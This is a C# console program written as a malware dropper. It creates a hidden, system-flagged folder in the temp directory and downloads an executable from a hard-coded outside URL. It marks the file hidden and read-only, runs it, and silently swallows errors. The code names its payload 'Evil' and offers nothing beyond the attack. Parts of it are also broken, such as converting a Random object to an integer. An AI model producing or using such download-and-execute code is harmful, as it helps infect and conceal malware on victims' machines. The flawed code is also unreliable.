using System;
using System.Net;
using System.IO;

namespace ConsoleApplication1
{
    class Program
    {
        const String Url = "http://www.sex.com/gay.exe";
        static readonly WebClient Wc = new WebClient();
        static readonly string TempPath = Path.GetTempPath();
        const string HiddenFolder = "sys";
        static readonly Random Randevil = new Random(10000);
        static readonly string Evil = "sys" + Randevil + ".exe";


        static void Main()
        {
            string path = TempPath + HiddenFolder + "\\";
            if (!Directory.Exists(path))
            {
                DirectoryInfo di = Directory.CreateDirectory(path);
                di.Attributes = FileAttributes.Directory | FileAttributes.System | FileAttributes.Hidden | FileAttributes.NotContentIndexed;
            }
            if (File.Exists(path + Evil))
            {
                try
                {
                    string evil1 = Convert.ToInt32(new Random(10000)) + "sys.exe";
                    Wc.DownloadFile(Url, path + evil1);
                    File.SetAttributes(path + evil1, File.GetAttributes(path + evil1) | FileAttributes.System | FileAttributes.Hidden | FileAttributes.NotContentIndexed | FileAttributes.ReadOnly);
                    var myInfo = new System.Diagnostics.ProcessStartInfo {FileName = evil1, WorkingDirectory = path};
                    System.Diagnostics.Process.Start(myInfo);
                }
                catch (Exception)
                {
                    // do nothing
                }
            }

            else
            {

                Wc.DownloadFile(Url, path + Evil);
                File.SetAttributes(path + Evil, File.GetAttributes(path + Evil) | FileAttributes.System | FileAttributes.Hidden | FileAttributes.NotContentIndexed | FileAttributes.ReadOnly);
                var myInfo = new System.Diagnostics.ProcessStartInfo {FileName = Evil, WorkingDirectory = path};
                System.Diagnostics.Process.Start(myInfo);
            }
        }
    }
}